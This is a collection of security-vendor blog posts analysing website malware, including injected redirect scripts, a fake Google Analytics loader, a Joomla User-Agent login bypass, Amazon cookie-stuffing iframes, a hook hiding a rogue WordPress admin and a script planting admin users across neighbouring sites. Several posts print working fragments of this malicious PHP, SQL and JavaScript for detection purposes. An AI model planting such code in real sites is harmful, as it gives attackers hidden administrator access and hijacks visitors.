RealStatistics Goes TrafficAnalytics

In the last few months, our Incident Response Team detected an interesting malicious code that affected a high number of websites. This malware is a variation of the "Realstatistics" campaign described in details in our blog here and although the code is extremely simple, the damages are devastating.

The following snippet is being injected into the theme files (mostly header.php) and database (wp_posts).


<script type='text/javascript' src='hxxp://js[.]trafficanalytics[.]online/js/js.js'></script>

The malware behavior is consistent with the "Realstatistics" but with a little twist and so far, it seems to be focusing only on WordPress installations. This campaign also aims to redirect visitors to inadvertent sites hopping through different addresses and landing in another page promoting specific products or content that generate more revenue to the attackers.

Here is the connection flow during some tests:

Landing on the following page:

During the investigation of several infection scenarios we identified a vulnerable file being removed from almost every cleaned site: searchreplacedb2.php. Although the name may vary, it was placed on the site's root directory and could be used by any visitor with the link, or with the right Google dork.

This tool was coded back in 2009 to help site owners to search and replace content in their database. However, the tool doesn't have any security feature, allowing anyone to load the wp-config.php info and connect to the database.

As soon as connected, the user can select one or multiple tables and perform a search/replace in order to fix something on their site or to inject some malicious content.

We weren't able to identify any patterns on what the attacker searches and replaces on the infected sites, because of that, cleanup requires double attention. Also, if you use such third party tools on your server, make sure to delete them immediately once you finish the task you uploaded them for.

If you are experiencing such redirects, this could be the reason why and we highly recommend checking your site against our free scanner Sitecheck.

Feb 2, 2017 by Rodrigo Escobar

Joomla admin login bypass – set your UA...

Every day we analyse hundreds of new malicious files. Some of them are simple backdoors, injected iframes, or one liner defacements.

Another type of malware, equally interesting, are the ones that interact with authentication interfaces. These malicious codes may allow attackers to log-in with a particular set of bogus credentials or completely circumvent security measures implemented to prevent unauthorized access to the back-end.


In this note, I will describe how an attacker cleverly hijacked core functions of the Joomla CMS to connect to the database of the website, select user with specific privileges and bypass the authentication mechanism based on an User Agent.

As we mentioned above, the condition for the bypass to happen is if they use a specific User Agent when performing the request: 

$ref = $_SERVER['HTTP_USER_AGENT'];$keywordsRegex = "/AtOPvMzpDosdPDlkm3ZmPzxoP/i";if (preg_match($keywordsRegex, $ref)) {

The file can remain under the radar as it has no base64 encoding or any other obfuscation inside. It uses standard core functions, normal SQL query and no fuzzy strings.

The bypass itself is pretty straight forward - it calls the "JPluginHelper::importPlugin('user');" core function and scans the database for the "Super Administrator" user role in the "usertype" column of the "users" table. It also takes into account the Joomla version due to some changes in the authentication mechanism:

if (version_compare(JVERSION, '1.6.0', 'ge')) {       $result = $mainframe->triggerEvent('onUserLogin', array(array('username' => $result->username), array('action' => 'core.login.admin')));   } else {       $result = $mainframe->triggerEvent('onLoginUser', array(array('username' => $result->username), array()));   }

If the above SQL query returns valid results, it prints that the operation was successful and the attacker have successfully logged in to the compromised Joomla website:

Print 'Joomla Login Successful.';

The match string is used by several Web shells on the Internet. Its even used for so called WordPress root kit so it is good idea to scan your files for the UA match string and remove any files that have it inside, or if you are unsure what to do you can trust the Security engineers at https://sucuri.net/ for checking, clearing and protecting your website from malicious code.

Feb 1, 2017 by Yuliyan Tsvetkov

Fake Google Analytics tracking code leading to Adware

Our Incident Response process makes sure we remove all malicious files and other small pieces of code inserted in good files that could be used to re-gain access to the environment. These pieces of malware could be very easy to detect based on encoding level, obfuscation, suspicious functions and few other variables. Some malware, on the other hand, try to hide themselves in plain sight by using regular PHP or JavaScript functions or pretending to be an authority they are not.


In this post, we’ll describe an issue where attackers injected an interesting script resembling the Google Analytics Tracking Code that leads to Adware. Once the website is compromised with this type of infection, the site displays the following Popup with Adware:

In order to load those popups, attackers injected the following snippet into a theme file:

<!-- Google Analytics --><script>(function(i,s,o,g,r,a,m){i['GoogleAnalyticObject']=r;i[r]=i[r]||function(){(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),m=s.getElementsByTagName(o)[0];a.async=0;a.src=g;m.parentNode.insertBefore(a,m)})(window,document,'script','hxxps://google-analytics[.]ga/analytics?a8','qa');qa('create', 'UA-F1284271354829RWJ3RT', 'auto');</script><!-- End Google Analytics -->

As you might have noticed it, the domain "hxxps://google-analytics[.]ga" doesn't belong to Google and pretends to load the correct one "hxxps://google-analytics[.]com/ga.js". The domain is protected by a whois proxy service (Stichting OpenTLD WHOIS Proxy).

We detected the following domains were used in the redirect chains:

  • google-analytics[.]ga
  • hxxps://trafficome[.]ga/ga
  • hxxps://m1ii[.]ml

The code is usually injected on the footer of the current theme because it will be loaded every time the website is accessed.

Jan 31, 2017 by John Castro

Amazon Affiliate Cookie Stuffing

We wrote a lot about malware in invisible iframes. This story is about a different type of invisible iframes that hackers may place on your site.

As you know, many large ecommerce sites have affiliate programs that allow third-party publishers to send traffic their way in exchange for commission on purchases. Amazon.com is the most well known example of a site with a public affiliate program. Millions of sites participate in it. As many other such sites, Amazon realizes that people referred to their store via affiliate links may not immediately make a purchase. Some of them need time to think, compare prices on other sites, research alternatives, etc. Still Amazon wants to acknowledge the role of the affiliate if the referred visitor returns to the Amazon later and makes the purchase then. Technically, it is done by placing an affiliate cookie on the visitors computer for a certain period of time (in case of Amazon it’s 24 hours); and if that particular user buys anything from Amazon before the cookie expires, the affiliate who referred them is eligible for some commission.

Sometimes we find hidden amzn.to iframes on hacked sites.


<iframe src="http://amzn.to/REDACTED" style="visibility: hidden;"></iframe>

Amzn.to is the Amazon’s URL shortener based on Bitly technology. It’s the only URL shortening service that affiliates are allowed to use if they want to shorten their affiliate links.

What happens when an amzn.to link is opened in an invisible iframe on a compromised site? When visitors open a web page, behind the scenes their browser opens a full Amazon page for some product (along with all images, scripts, styles, etc.). And of course, the attacker’s Amazon affiliate cookie is placed on the visitor’s computer. If that visitor buys something from Amazon in the following 24 hours, the hackers will get a commission for that order.

Given that Amazon is one of the largest online stores on the Internet, the chances that some of the visitors will actually buy something from Amazon are quite high. Now it’s just a "big numbers" game. All the attackers should do is maximize exposure of the pages with their injected invisible affiliate iframes. The more sites they compromise the bigger commission they’ll receive from Amazon (sure, unless Amazon detects the cookie stuffing scam and blocks the affiliate accounts).

While this hack is not [technically] dangerous for the site visitors (we don’t count the slow page loading and extra resources required to load whole Amazon pages in the background) and it’s not as annoying as unwanted pop-up or redirects, it shows that any websites are a valuable resource for bad actors who are constantly inventing new ways to abuse them.

If you need to clean or protect your site, please check our Website AntiVirus service.

Jan 25, 2017 by Denis Sinegubko

Hooking WordPress Class to Hide Malicious Users

When a website is compromised, attackers perform post-exploitation tasks to  maintain  access to the site for as long as possible. One of these actions is usually the creation of admin users to remotely control the site or automate the creation or distribution of spam content. Unfortunately (for them), it’s really easy to detect and remove these fake users and they have to find and execute new techniques to actually hide them. During an investigation, we found a small piece of code inside the file "/current_wp_theme/functions.php" that caught our attention:


<?phpadd_action('pre_user_query','yoursite_pre_user_query');function yoursite_pre_user_query($user_search) {  global $current_user;  $username = $current_user->user_login;
  if ($username != 'admina') {     global $wpdb;    $user_search->query_where = str_replace('WHERE 1=1',      "WHERE 1=1 AND {$wpdb->users}.user_login != 'admina'",$user_search->query_where);  }}

Basically this code is being used as a Hook for the action “pre_user_query”. According to the official documentation,  this action "Fires after the WP_User_Query has been parsed, and before the query is executed" which allows us to actually modify the query of the WordPress core class “WP_User_Query”  on the fly.

In this case, the attacker is using the function  "str_replace()" to replace the original "user_search query"with one of his own, therefore making the malicious admin user "admina" invisible on the WordPress admin area (backend):

WHERE 1=1',      "WHERE 1=1 AND {$wpdb->users}.user_login != 'admina'",$user_search->query_where

If you see malicious posts on your site with an unknown author and you are not able to find the user to remove it, your site may be infected with a similar code. Also, If you have a File Integrity Monitoring system in place, you should be able to detect such changes to the File System and take the appropriate actions to prevent / remediate the infection (remove / re-upload).

Jan 20, 2017 by John Castro

Search and Backdoor

The ubiquity of “unlimited” shared hosting platforms has incentivized malware in trying to infect as many adjacent website directories as it can to increase its overall surface area. The more infected the area is, the more likely that at least one piece of malware can evade detection long enough to successfully reinfect the web hosting environment.

When a website is infected or compromised, the malicious user will often times leave a backdoor that can be used to regain unauthorized access to the website or system. A backdoor doesn’t necessarily have to be an existing malicious file; it can also be within a database or running process. A database backdoor could be a shell script included within a row of a table that is loaded on a certain URL. Or in some cases, it can involve an actual user being inserted into a CMS database with full privileges by the malicious user.

I encountered a malicious file that upon execution will go one level above the root of the infected WordPress or Joomla site:


...define('MAX_UP_DIRS' ,10);$counter = 0;while(chdir('..')) {  $counter++;     if($counter > MAX_UP_DIRS) {     break;  }   foreach(glob(getcwd() . '/*') as $file) {      if(strpos($file, 'wp-config.php') !== false      || strpos($file, 'wp-admin') !== false       || strpos($file, 'configuration.php') !== false      || strpos($file, 'administrator') !== false) {           break 2;        }   }}chdir('..');...

From there, it recursively searches all adjacent sites for configuration files.

...foreach ($iter as $path => $dir) {    if ($dir->isDir()) {        $wp_config_file = $path . '/wp-config.php';       $jm_config_file = $path . '/configuration.php';        if(file_exists($wp_config_file)) {         $wp_cfgs[] = $wp_config_file;       }       if(file_exists($jm_config_file)) {          $joomla_cfgs[] = $jm_config_file;       }    }}...

Then it uses information inside the configuration files in order to connect to the database via MySQL and inject a new admin user for all adjacent sites using the following queries:

"INSERT INTO  {$table_prefix}users (ID,user_login,user_pass,user_nicename,user_email,user_registered,user_status,display_name) VALUES($user_id,'$user_name',REDACTED,'$user_name','".$user_name."0985488@mailinator.com','201".rand(0,5)."-0".rand(1,9)."-1".rand(1,9)." 12:00:00',0,'$user_name')";"INSERT INTO  {$table_prefix}usermeta (user_id, meta_key, meta_value) VALUES ($user_id, '{$table_prefix}capabilities', 'a:1:{s:13:"administrator";b:1;}');";"INSERT INTO  {$table_prefix}usermeta (user_id, meta_key, meta_value) VALUES ($user_id, '{$table_prefix}user_level', 10);";

The source coding also reveals plans to develop the file so that it has capabilities of targeting Joomla installations (i.e $jm_config_file variable and configuration.php file) and inserting their admin user into Joomla database structures. If the hints in the source code weren’t enough, the author even included a notation of their plans:

#TO DO : JOOMLA!!!

In the end, this file helps to show how malicious users try to automate the task of generating backdoors. While the automated creation of an admin user by malware may seem to be relatively simple and crude, it has shown to be effective enough. For that reason it’s not that uncommon when encountering a compromised WordPress, or really any CMS (Content Management System) installation.

If your sites are affected by this or similar malware, please check our guides:

Or sign up for our Website AntiVirus service and we will clean and protect your sites.

Jan 18, 2017 by Luke Leal

Camouflage does not have to be advanced to...

Often times a malware author will try to provide some type of camouflage to their malware’s coding in an effort to disguise an unsuspecting eye from its true intentions. I recently came across an interesting example from a malicious file used to bypass authentication when accessing wp-admin:


If you aren’t familiar with the word “Softaculous”, it is a popular installer for common CMS and other scripts. If you have ever used a “one click install” tool like Fantastico de Luxe or QuickInstall/Mojo Marketplace, then it is similar to that.

I also want to mention that the filename was a random alphanumeric string, so it wasn’t possible to determine the legitimacy through the filename alone. For that reason, we needed to analyze the coding and make our determination through there.

An unsuspecting person may view line 4 and see that it mentions Softaculous. If they used Softaculous before, they may just take a quick glance at the rest of the file. Since Softaculous allows for automatic updates, and users update WordPress through wp-admin,  doesn’t it seem reasonable that Softaculous may need to access wp-admin for updates and that’s the purpose of this file?

This is a great example of how the camouflage attempts to trick the user into thinking this is, or might be, just a normal file. Due to this doubt, some users won’t delete the file, leaving it intact (as I am sure many of us have accidentally deleted an important file and know how destructive that can be, especially if you don’t have any backups).

Ultimately the file was not legitimate and was determined to have been maliciously added. It’s what I would call a multi-layer backdoor, as the hacker could also create their own admin user once inside wp-admin so they wouldn’t have to rely on the file being there in the future (though a professional or security-experienced user should know to examine existing users).

If you need any help or have any questions, let us know. 🙂

Jan 12, 2017 by Luke Leal